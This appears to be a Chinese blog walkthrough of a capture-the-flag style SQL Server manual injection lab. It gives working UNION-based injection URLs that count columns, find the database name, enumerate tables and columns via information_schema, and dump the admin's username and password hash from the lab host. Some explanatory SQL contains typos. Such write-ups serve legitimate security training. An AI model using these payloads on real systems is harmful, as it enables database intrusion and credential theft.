sqlserver手工注入
这次的记录是手工记录哈,玩不过瘾的还可以去看看我的另一篇博客是用sqlmap注入的,sqlmap注入特省事hhhhh
同样的,既然是手工注入,咱们就得先学一学SQL server数据库的结构。我看了好多博客,都是记录注入过程,或者注入语句如何构造的原因也没有讲的很详细。
于是我打开我本地的ssms(sqlserver图形化管理界面),图文并茂讲讲原因。
以db_buxian数据库为例,这个数据库下面我创建了四张数据表,假设我web页面显示的数据是从COURSE表查询的,而我要找的数据在users表里面。那么我们首先要知道的就是表名。因为查询语句是select * from 表名。靶场不像本地管理能随便看看表名表数据。那么我们要找到这个数据库里面记录了所有数据表信息的表,就是爆表名啦~~
那么那个记录所有表信息的表在哪里呢,在视图里,可以看看下面这个图片理解一下下:
视图里框出来的informa_schema.tables,我们右键查看前1000条数据,就是右边的结果,刚好有四个表就是我们创建的四个数据表。
那么同样的,我们在url中只要构建类似 select top n from 库名.infromation.schema.tables是不是就能爆出表名啦!
这个时候,爱思考的同学肯定想到了,既然知道了数据表,能不能查到列名呢,有时候我只想查数据表中某几列,有没有一个表记录了所有的列名呢?
答案当然是有的啦!!!
就是也在视图中,就是information_schema.columns,同样的右键查询前1000条语句,查到的所有的表里面的列名。
如果我们要查一个表里面所有的列名,那要构造的语句是什么样的呢?
select column_name from db_buxian_information.schema.solumns where table_name = 'users';
我们来查一查看看结果:
既然已经知道了如何查表名和列名,那么我们要查某个表里面的数据那岂不是顺水推舟。
现在我们来靶场实战一下下,还是墨者学院sqlserver手工注入靶场,至于注入的流程就不详细解释了,想看详细解释可以看看我的sqlite手工注入的博客。
首先判断有多少列,一般都是用order by来判断。
构造的url为:http://219.153.49.228:46297/new_list.asp?id=2 order by n n依次取1,2,3,4...这个靶场第三列好像都会报错了,但是实际上有4列,所以在以后的注入中要注意这个问题,多试几列。
页面正常显示的话就说明有这一列hhhhh
然后我们用联合注入来判断一下回显。
构造语句为:
1 | http: //219.153.49.228:46297/new_list.asp?id=-2 union all select '1','2','3','4'<br>阿?你是不是疑惑为撒是all select,这个我也不知道但是select会报错,我还没解决这个问题呢。还有判断回显为啥是字符串‘1’,因为数字会报错。<br>看看回显的结果: |
然后我们来查一下当前数据库的名字,因为后面查表名的时候会用到数据库的名字。
构造的语句为:http://219.153.49.228:46297/new_list.asp?id=-2 union all select '1','2',db_name(),'4'
数据库名是mozhe_db_v2
然后我们查一查数据库里面的表名。
先构造语句,http://219.153.49.228:46297/new_list.asp?id=-2 union all select '1','2',(select top 1 table_name from mozhe_db_v2.information_schema.tables),'4'
看看看是不是出现了manage表,如果我们选第二条数据呢?
我觉得sqlserver查询第几条语句有点不太一样,方法很多,我自己查阅资料用的是 not in关键字,把已经查出的表名加入到not in 的范围内:
http://219.153.49.228:46297/new_list.asp?id=-2 union all select '1','2',(select top 1 table_name from mozhe_db_v2.information_schema.tables where table_name not in('manage')),'4'
查出来的第二个表名是announcement,查第三第四以此类推。
现在我们来查一下manage表的列名。
构造语句:
http://219.153.49.228:48061/new_list.asp?id=-2 union all select '1','2',(select top 1 column_name from mozhe_db_v2.information_schema.columns where table_name='manage'),'4'
查一查第二列,我们用的构造语句还是排除已经查出的column_name.
http://219.153.49.228:48061/new_list.asp?id=-2 union all select '1','2',(select top 1 column_name from mozhe_db_v2.information_schema.columns where table_name='manage' and column_name not in('id')),'4'
第二个列名是username.
查第三列的语句不难推断,为:
http://219.153.49.228:48061/new_list.asp?id=-2 union all select '1','2',(select top 1 column_name from mozhe_db_v2.information_schema.columns where table_name='manage' and column_name not in('id','username')),'4'
现在我们终于可以查数据了!!!不得不说selserver的语句构造好难,可能是我学的还是太少了。
构造语句查询manage表内的第一条数据为:
http://219.153.49.228:48061/new_list.asp?id=-2 union all select '1',(select top 1 username from manage),(select top 1 password from manage),'4'
前面构造的语句都是只用了一个回显显示,这次语句较短咱们用两个,一次性查出账号密码。
密码在线md5解密一下.
这不就登录成功了吗~~
这次的手工注入sqlserver靶场就学习到这里啦!
看到网上其他厉害的小伙伴有用盲注来解这个靶场的,等我学会了我也写一个博客记录并分享学习经验~~
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通